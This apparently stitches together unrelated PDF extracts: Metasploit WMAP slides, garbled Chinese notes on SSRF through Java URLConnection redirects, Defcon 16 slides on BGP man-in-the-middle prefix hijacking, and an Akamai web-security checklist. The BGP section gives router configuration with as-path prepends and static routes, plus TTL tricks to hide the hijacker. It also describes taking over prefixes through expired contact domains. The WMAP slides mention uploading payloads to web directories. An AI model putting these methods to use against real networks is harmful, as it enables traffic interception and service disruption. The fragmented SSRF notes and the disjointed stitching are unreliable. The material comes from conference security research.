– wmap_vhost_scanner.rb
• Brute force vhost
– NOTE: set VHOST vhost.target.com
– wmap_ssl.rb
• Easy way to pull vhost from a server(s)
• Grab info from certificate.
Why use it
• Easy way to jump from web testing to
exploitation methods.
– Examples
• Find files and directories that other scanners are
not build to find
• Jump from sql injection to XSS and back
– Use a lucky punch with browser_autopwn
• Use MSF payloads/file exploits to upload to web
directory
– MS09-XXX?
• If it runs metasploit, it runs wmap
Why use it
• Take results and feed them back to scan
engine.
– Use the proxy…
– No more 1 round testing.
• Grab information from results and use them
for other attacks
• The results are in the database , the
database is the report
– Wmap_report
• -x xml
• It’s Metasploit.
WMAP
• DEMO
Thanks
• Special thanks to HD, the Metasploit team
and contributors.
• Questions?
et [at] metasploit.com | pdf |
java urlconnection
nat smashjava urlconnectionurl
12
ssrf302locationurl
ssrf302
get ssrfapachenginx
ssrfwhite spaceapachenginx
nginx
https://t.zsxq.com/m6YjqnE
apache
https://t.zsxq.com/Mz7A2Nz | pdf |
Stealing The Internet
An Internet-Scale
Man In The Middle Attack
Defcon 16, Las Vegas, NV - August 10th,
2008
Alex Pilosov – Pure Science
Chairman of IP Hijacking BOF
ex-moderator of NANOG mailing list
[email protected]
Tony Kapela – Public Speaking Skills
CIO of IP Hijacking BOF
[email protected]
Why Should You Care?
• Because your inbound traffic can be passively
intercepted
• Because your outbound traffic to specific
destinations can also be intercepted
• Because your data can be stored, dropped,
filtered, mutilated, spindled, or modified
• Because this cannot be solved without provider
cooperation
• Because it’s unlikely to be noticed, unless you’re
looking for it
Agenda
• BGP & Internet 101
• Old Hijackings
• The main monkey business
– MITM method, explained
– Graphs, etc
– Live Demo
BGP 101
How is the Internet ‘glued’ together?
• No central “core”
• Individual networks (identified by ASN) interconnect and
“announce” IP space to each other
• Announcement contains IP prefix, AS-PATH,
communities, other attributes
• AS-PATH is a list of who has passed the announcement
along; used to avoid loops (important for our method)
• Fundamental tenet in IP routing: More-specific prefixes
will win – e.g. 10.0.0.0/24 wins over 10.0.0.0/8
..if we had to
whiteboard it
graphic courtesy jungar.net
Network Relationship Norms
• Peer: No money changes hands, routes
are not redistributed to transits and other
peers – 1:1 relationship
• Customer: Pays transit provider to accept
their announcement, sends routes to
peers and transits
On Prefixes…
• Internet routing is inherently trust-based
– No “chain of trust” in IP assignments
• ICANN assigns space to Regional Internet
Registries (RIRs - ARIN/RIPE/AFRINIC)
• RIRs assign to ISPs or LIRs (in RIPE
region)
• No association between ASN and IP for
most assignments (except RIPE)
State The problem
Various levels of sophistication in Route/Prefix Filtering
• Customer:
– Often unfiltered BGP: max-prefix and sometimes AS-
PATH
– Smaller carriers and smaller customers – static prefix-list,
emails or phone calls to update
• Verification by “whois”
– Larger carriers: IRR-sourced inter-AS filters
• Peer:
– Typically none beyond max-prefix and scripts to complain
when announcing something they shouldn’t (rare)
– Many don’t even filter their own internal network
routes coming from external peers
The IRR (Internet Routing Registry)
A Modest Proposal
• Way for ISP’s to register their routes and routing policy
• Distributed servers that mirror each other
• Filtering based on IRR will prevent some ‘accidental’
hijackings
• Caveats
– Your routers might not scale as well when crunching 100k
entry prefix-lists per-peer, for all peers
– Full of cruft - no janitors
– Insecure - anyone can register (nearly) any route
An IRR Update
…Which Should Have Been Questioned
From: [email protected]
To: [email protected]
ReplyTo: [email protected]
Subject: Forwarded mail.... (fwd)
Sent: Aug 7, 2008 9:48 PM
Your transaction has been processed by the
IRRd routing registry system.
Diagnostic output:
--------------------------------------------------
----------
The submission contained the following mail
headers:
- From: [email protected]
- Subject: Forwarded mail.... (fwd)
- Date: Thu, 7 Aug 2008 21:48:53 -0400 (EDT)
- Msg-Id: <[email protected]>
ADD OK: [route] 24.120.56.0/24 AS26627
----------------------------------------
If you have any questions about ALTDB,
please send mail to [email protected].
Traditional Hijacking Uses
• Non-Malicious use: was popular in 2001,
faster than getting IPs legitimately from ARIN
• Fly-by spammers: Announce space, spam,
withdraw, avoid abuse complaints
• Malicious DoS or outage - silence your
competitors
• Target impersonation - could hijack
128.121.146.0/24 (twitter) and put up
something else
Criminality
• If nobody is using it, is it really illegal?
• IP prefix is just a number
• No prosecutions for non-malicious
announcements that we are aware of
• Worst case scenario for non-malicious
hijack: ARIN/RIPE pull PTR records and
transits shut you off (eventually)
How-To Hijack
• Full hijacking, apparent authority to announce
– This was cool in 2001
– Find IP Network (using whois) with contact email
address in @hotmail.com or at domain that has
expired
– Register domain/email
– Change contact
• Or just announce the network since nobody is
filtering anyway
– Upstream providers too busy & big to care
– You’re paying them to accept routes, so they do
Historical Hijackings
• AS7007 – ’97, accidental bgp->rip->bgp redistribution
broke Internet (tens of thousands of new
announcements filled router memory, etc)
• 146.20/16 – Erie Forge and Steel (how apropos)
• 166.188/16 – Carabineros De Chile (Chile Police) –
hijacked twice, by registered “Carabineros De Chile LLC,
Nevada Corporation”
• More details available on completewhois.com
• Accidental hijackings happen frequently – low chance of
getting caught
02/08 Youtube Hijack Saga
• YouTube announces 5 prefixes:
– A /19, /20, /22, and two /24s
– The /22 is 208.65.152.0/22
• Pakistan’s government decides to block YouTube
• Pakistan Telecom internally nails up a more specific route
(208.65.153.0/24) out of YouTube’s /22 to null0 (the routers
discard interface)
• Somehow redists from static bgp, then to PCCW
• Upstream provider sends routes to everyone else…
• Most of the net now goes to Pakistan for YouTube, gets
nothing!
• YouTube responds by announcing both the /24 and two more
specific /25s, with partial success
• PCCW turns off Pakistan Telecom peering two hours later
• 3 to 5 minutes afterward, global bgp table is clean again
Pakistan Govt. Notice
Of Interest…
IP Hijacking BoF
• Un-official event at NANOG conference
• We test security of Internet routing
infrastructure
• Recent exercises:
– Hijacked 1.0.0.0/8: 90% success
– Hijacked 146.20.0.0/16: 95% success
– Attempted to announce networks longer than /
24: from /25 down to /32 with cooperation of
large CDN’s. 40% successful overall
Routing Security Is Complicated
• No answer yet, due to lack of chain of trust from ICANN
on down
• “Weakest link” problem: Until everyone filters everyone
perfectly, this door is still open
• Best practice today is “Alerting” systems that look for
rogue announcements (PHAS, RIPE MyASN, Renesys,
etc)
• Register your AS and your prefix in RIR (no immediate
effect, but eventually someone will use them)
• No anonymity – if you hijack, everyone knows it’s you
(due to AS-PATH)
• If things still work, who complains?
How To Resolve A Hijacking
• Once rogue announcement is
identified, work begins. Contact the
upstreams and scream.
–May take minutes, hours (if you are
Youtube-sized), or possibly days
• About as easy as getting DDoS
stopped (or not)
What This Means
• Rootkits + 0day rogue announcements
Man-in-middle attacks, with our clues applied
– No need for three-way-handshake when you’re in-line
– Nearly invisible exploitation potential, globally
• Endpoint enumeration - direct discovery of who
and what your network talks to
• Can be accomplished globally, any-to-any
• How would you know if this isn’t happening right
now to your traffic at DEFCON?
BGP MITM Hijack Concept
•
We originate the route like we always did
–
Win through usual means (prefix length, shorter as-
path w/ several origin points, etc)
•
“Win” is some definition of “most of the internet chooses
your route”
•
We return the packets somehow
–
Coordinating delivery was non-trivial
–
Vpn/tunnel involve untenable coordination at target
•
Then it clicked – use the Internet itself as reply
path, but how?
BGP MITM Setup
1. Traceroute & plan reply path to target
2. Note the ASN’s seen towards target from
traceroute & bgp table on your router
3. Apply as-path prepends naming each of
the ASN’s intended for reply path
4. Nail up static routes towards the next-
hop of the first AS in reply path
5. Done
BGP MITM – First Observe
Random User ASN 100
Target ASN 200
AS20
AS10
AS30
AS60
AS40
AS50
ASN 200 originates
10.10.220.0/22, sends
announcements to AS20
and AS30
Internet is converged
towards valid route
View of Forwarding
Information Base (FIB) for
10.10.220.0/22 after
converging
BGP MITM – Plan reply path
Attacker ASN 100
Target ASN 200
AS20
AS10
AS30
AS60
AS40
AS50
ASN 100’s FIB shows route for
10.10.200.0/22 via AS10
We then build our as-path prepend list to
include AS 10, 20, and 200
BGP MITM – Setup Routes
Attacker ASN 100
Target ASN 200
AS20
AS10
AS30
AS60
AS40
AS50
10.10.220.0/24 is announced with a route-map:
route-map hijacked permit 10
match ip address prefix-list jacked
set as-path prepend 10 20 200
Then, install static route in AS100 for
10.10.220.0/24 to AS10’s link
ip route 10.10.220.0 255.255.255.0 4.3.2.1
Anonymzing The Hijacker
• We adjust TTL of packets in transit
• Effectively ‘hides’ the IP devices handling
the hijacked inbound traffic (ttl additive)
• Also hides the ‘outbound’ networks
towards the target (ttl additive)
• Result: presence of the hijacker isn’t
revealed
Without TTL adjustment
2 12.87.94.9 [AS 7018] 4 msec 4 msec 8 msec
3 tbr1.cgcil.ip.att.net (12.122.99.38) [AS 7018] 4 msec 8 msec 4 msec
4 ggr2.cgcil.ip.att.net (12.123.6.29) [AS 7018] 8 msec 4 msec 8 msec
5 192.205.35.42 [AS 7018] 4 msec 8 msec 4 msec
6 cr2-loopback.chd.savvis.net (208.172.2.71) [AS 3561] 24 msec 16 msec 28 msec
7 cr2-pos-0-0-5-0.NewYork.savvis.net (204.70.192.110) [AS 3561] 28 msec 28 msec 28 msec
8 204.70.196.70 [AS 3561] 28 msec 32 msec 32 msec
9 208.175.194.10 [AS 3561] 28 msec 32 msec 32 msec
10 colo-69-31-40-107.pilosoft.com (69.31.40.107) [AS 26627] 32 msec 28 msec 28 msec
11 tge2-3-103.ar1.nyc3.us.nlayer.net (69.31.95.97) [AS 4436] 32 msec 32 msec 32 msec
12 * * * (missing from trace, 198.32.160.134 – exchange point)
13 tge1-2.fr4.ord.llnw.net (69.28.171.193) [AS 22822] 32 msec 32 msec 40 msec
14 ve6.fr3.ord.llnw.net (69.28.172.41) [AS 22822] 36 msec 32 msec 40 msec
15 tge1-3.fr4.sjc.llnw.net (69.28.171.66) [AS 22822] 84 msec 84 msec 84 msec
16 ve5.fr3.sjc.llnw.net (69.28.171.209) [AS 22822] 96 msec 96 msec 80 msec
17 tge1-1.fr4.lax.llnw.net (69.28.171.117) [AS 22822] 88 msec 92 msec 92 msec
18 tge2-4.fr3.las.llnw.net (69.28.172.85) [AS 22822] 96 msec 96 msec 100 msec
19 switch.ge3-1.fr3.las.llnw.net (208.111.176.2) [AS 22822] 84 msec 88 msec 88 msec
20 gig5-1.esw03.las.switchcommgroup.com (66.209.64.186) [AS 23005] 84 msec 88 msec 88 msec
21 66.209.64.85 [AS 23005] 88 msec 88 msec 88 msec
22 gig0-2.esw07.las.switchcommgroup.com (66.209.64.178) [AS 23005] 88 msec 88 msec 88 msec
23 acs-wireless.demarc.switchcommgroup.com (66.209.64.70) [AS 23005] 88 msec 84 msec 84 msec
With TTL Adjustments
2 12.87.94.9 [AS 7018] 8 msec 8 msec 4 msec
3 tbr1.cgcil.ip.att.net (12.122.99.38) [AS 7018] 4 msec 8 msec 8 msec
4 ggr2.cgcil.ip.att.net (12.123.6.29) [AS 7018] 4 msec 8 msec 4 msec
5 192.205.35.42 [AS 7018] 8 msec 4 msec 8 msec
6 cr2-loopback.chd.savvis.net (208.172.2.71) [AS 3561] 16 msec 12 msec *
7 cr2-pos-0-0-5-0.NewYork.savvis.net (204.70.192.110) [AS 3561] 28 msec 32 msec 32 msec
8 204.70.196.70 [AS 3561] 28 msec 32 msec 32 msec
9 208.175.194.10 [AS 3561] 32 msec 32 msec 32 msec
10 gig5-1.esw03.las.switchcommgroup.com (66.209.64.186) [AS 23005] 88 msec 88 msec 84 msec
11 66.209.64.85 [AS 23005] 88 msec 88 msec 88 msec
12 gig0-2.esw07.las.switchcommgroup.com (66.209.64.178) [AS 23005] 84 msec 84 msec 88 msec
13 acs-wireless.demarc.switchcommgroup.com (66.209.64.70) [AS 23005] 88 msec 88 msec 88 msec
Compare Original BGP & Route Path
Hijacked:
2 12.87.94.9 [AS 7018] 8 msec 8 msec 4 msec
3 tbr1.cgcil.ip.att.net (12.122.99.38) [AS 7018] 4 msec 8 msec 8 msec
4 ggr2.cgcil.ip.att.net (12.123.6.29) [AS 7018] 4 msec 8 msec 4 msec
5 192.205.35.42 [AS 7018] 8 msec 4 msec 8 msec
6 cr2-loopback.chd.savvis.net (208.172.2.71) [AS 3561] 16 msec 12 msec *
7 cr2-pos-0-0-5-0.NewYork.savvis.net (204.70.192.110) [AS 3561] 28 msec 32 msec 32 msec
8 204.70.196.70 [AS 3561] 28 msec 32 msec 32 msec
9 208.175.194.10 [AS 3561] 32 msec 32 msec 32 msec
10 gig5-1.esw03.las.switchcommgroup.com (66.209.64.186) [AS 23005] 88 msec 88 msec 84 msec
11 66.209.64.85 [AS 23005] 88 msec 88 msec 88 msec
12 gig0-2.esw07.las.switchcommgroup.com (66.209.64.178) [AS 23005] 84 msec 84 msec 88 msec
13 acs-wireless.demarc.switchcommgroup.com (66.209.64.70) [AS 23005] 88 msec 88 msec 88 msec
Original:
2 12.87.94.9 [AS 7018] 8 msec 8 msec 4 msec
3 tbr1.cgcil.ip.att.net (12.122.99.38) [AS 7018] 8 msec 8 msec 8 msec
4 12.122.99.17 [AS 7018] 8 msec 4 msec 8 msec
5 12.86.156.10 [AS 7018] 12 msec 8 msec 4 msec
6 tge1-3.fr4.sjc.llnw.net (69.28.171.66) [AS 22822] 68 msec 56 msec 68 msec
7 ve5.fr3.sjc.llnw.net (69.28.171.209) [AS 22822] 56 msec 68 msec 56 msec
8 tge1-1.fr4.lax.llnw.net (69.28.171.117) [AS 22822] 64 msec 64 msec 72 msec
9 tge2-4.fr3.las.llnw.net (69.28.172.85) [AS 22822] 68 msec 72 msec 72 msec
10 switch.ge3-1.fr3.las.llnw.net (208.111.176.2) [AS 22822] 60 msec 60 msec 60 msec
11 gig5-1.esw03.las.switchcommgroup.com (66.209.64.186) [AS 23005] 60 msec 60 msec 60 msec
12 66.209.64.85 [AS 23005] 64 msec 60 msec 60 msec
13 gig0-2.esw07.las.switchcommgroup.com (66.209.64.178) [AS 23005] 60 msec 64 msec 60 msec
14 acs-wireless.demarc.switchcommgroup.com (66.209.64.70) [AS 23005] 60 msec 60 msec 60 msec
In conclusion
• We learned that any arbitrary prefix can be
hijacked, without breaking end-to-end
• We saw it can happen nearly invisibly
• We noted the BGP as-path does reveal
the attacker
• Shields up; filter your customers.
Thanks & Praise
• Felix "FX" Lindner
• Jay Beale
• Dan Kaminsky
• Defcon Speaker Goons & Staff
• Todd Underwood | pdf |
1
保护应用程序和 API 销售演练:检查清单
Web 应用程序和 API 保护功能检查清单
在规划、实施或优化信息安全策略的同时部署 Web 应用程序和 API 安全解决方案,让您的企业获得理解独有风
险、识别安全漏洞和检测威胁的强大能力。您需要的是这样一种 Web 应用程序和 API 保护 (WAAP) 解决方案 -
它能够提供持续的监测能力和综合全面的见解,还具有识别和阻止大部分复杂攻击的全面能力。
这份检查清单可用于评估供应商能力,也可以用作实施有效的 WAAP 解决方案时需要满足的需求列表。
类别 1:平台需求
企业的类型和规模林林总总,并且具有不同水平的需求。您的 Web 应用程序安全解决方案应该灵活、
可扩展,并且易于管理。
具备与流量需求匹配的可扩展性,
提供持续保护并且不会导致性能下降
架构能够应对跨地域分布式应用程序
带来的挑战
具备审核日志功能,以确保合理使用
保护本地、私有云或公共云(包括多云
或混合云)源站
能够抵御网络层 [L3/4] 分布式拒绝服务
(DDoS) 攻击,并且提供 0 秒服务级别协议
在整个平台中融入通过众包模式获得的攻击
情报,支持发现攻击者、攻击频率和攻击严
重程度
通过端口 80 和 443 提供 Web 流量反向代理
功能
利用 SSL/TLS 加密保护网络隐私
2
Web 应用程序和 API 保护功能检查清单
保护应用程序和 API 销售演练:检查清单
类别 2:自适应 Web 应用程序和 DDoS 防护
您的 Web 应用程序安全机制必须超越基于签名的传统检测,采用更加高级的自适应 Web 应用程序和
DDoS 防护,以获得最为精准和可靠的安全效果。
提供基于异常和风险的评分功能,而不仅
限于基于签名的攻击检测
具备机器学习、数据挖掘和启发法驱动的
检测能力,从而识别快速不断变化的威胁
自动 Web 应用程序防火墙 (WAF) 规则能
够根据安全研究人员持续发布的实时威胁
情报更新
支持测试新的或更新的 WAF 规则在处理
实时流量方面的效果,然后再将这些规则
部署到生产环境
(以最低限度)抵御 SQL 注入、XSS、
文件包含、命令注入、SSRF、SSI 和
XXE 攻击
提供可全面自定义的预定义规则,以满足
特定客户需求
能够抵御应用程序层 [L7] 容量耗尽 DoS
攻击,这种类型的攻击会通过递归式应用
程序活动造成 Web 服务器不堪重负
完全托管式 WAF 规则,无需持续配置和更新
提供针对个人和共享 IP 地址的客户端声誉
评分和情报
提供能快速抵御特定流量模式的自定义
规则(虚拟修补)
具备请求速率限制功能,能够抵御自动化
或过多的爬虫程序流量
能够抵御指向源站的攻击
通过多个网络列表实施 IP/地域控制,
阻止或允许来自特定 IP、子网或地理
区域的流量
抵御自动化客户端(例如漏洞扫描和 Web
攻击工具)发起的攻击
3
Web 应用程序和 API 保护功能检查清单
保护应用程序和 API 销售演练:检查清单
类别 3:API 可见性、防护和控制
API 防护已经成为 Web 应用程序安全的关键部分。您需要具备稳健的 API 发现、防护和控制能力的
WAAP 解决方案,它应该能消除 API 漏洞,减少您面对风险时的攻击面。
自动发现和分析未知和/或不断变化的
API(包括 API 端点、特征和定义)
支持自动检查 XML 和 JSON 请求,
从而检测基于 API 的攻击
支持自定义 API 检查规则,以满足特定用户
需求
能够预定义可接受的 XML 和 JSON 对象格
式,以限制 API 请求的大小、类型和深度
为 API 后端基础架构提供防护机制,
抵御专为耗尽资源而发起的低速缓慢攻击
(例如慢速 Post、慢速 Get)
可在 API 级别生成实时警报、报告和仪表板
提供基于 API 密钥的 API 端点速率控制
(节流功能)
支持基于 IP/地域的 API 网络列表(允许列表/
拦截列表)
带有版本控制的 API 生命周期管理
通过 JSON Web 令牌 (JWT) 验证保护身份验
证和授权
支持按密钥(每个独立定义的密钥具有相应
配额)定义允许的 API 请求,从而全面掌控
用量
使用标准 API 定义(Swagger/OAS 和
RAML)进行 API 初始配置
4
Web 应用程序和 API 保护功能检查清单
保护应用程序和 API 销售演练:检查清单
Akamai 为全球的大型企业提供安全的数字化体验。Akamai 的智能边缘平台涵盖了从企业到云端的一切,从而确保客户及其公司获
得快速、智能且安全的体验。全球优秀品牌依靠 Akamai 敏捷的解决方案扩展其多云架构的功能,从而实现竞争优势。Akamai 使决
策、应用程序和体验更贴近用户,帮助用户远离攻击和威胁。Akamai 一系列的边缘安全、Web 和移动性能、企业访问和视频交付解
决方案均由优质客户服务、分析和全天候监控提供支持。如需了解全球优秀品牌信赖 Akamai 的原因,请访问 www.akamai.com 或
blogs.akamai.com,或者扫描下方二维码,关注我们的微信公众号。您可访问 www.akamai.com/locations 查找全球联系信息。
发布时间:2020 年 11 月。
类别 4:灵活管理
您需要简单且自动化的工作流程来尽可能提升投资价值并提高运营效率。无论是保护全新应用程序、
更改应用程序、采用新的 WAF 规则,还是将保护延伸到 API,所采用的流程都必须无缝且直观。
Akamai Intelligent Edge Platform 从每天数百万次 Web 应用程序攻击、数十亿个爬虫程序请求和数万
亿个 API 请求中获取深度见解。这种程度的见解辅以先进的机器学习和威胁研究,让我们可以不断提
升能力、捕获新型威胁,并开发创新功能。
Akamai 的 Web 应用程序和 API 安全解决方案为您提供安心保护,帮助您的企业抵御较为高级的 Web
应用程序攻击、DDoS 攻击和基于 API 的攻击形式。立刻联系我们,获取有关 WAAP 解决方案的更多
信息或申请安排演示。
支持开放式 API 和 CLI,可将安全配置任务
集成到 CI/CD 流程中
集成本地和基于云的安全信息以及事件管理
(SIEM) 应用程序
提供完整的暂存环境和实施变更控制的能力
具备能自动适应流量的自行调整式安全防护
包含实时仪表板、报告和启发法驱动的警报
功能
具备能访问详细攻击遥测数据并分析安全事
件的集中式用户界面 (UI)
提供深度控制能力和/或完全自动化的防护机
制,以灵活管理 WAAP
提供完全托管式安全服务,以收缩或扩展
安全管理、监控和威胁抵御方面的功能
扫码关注·获取最新CDN前沿资讯 | pdf |
Subsets and Splits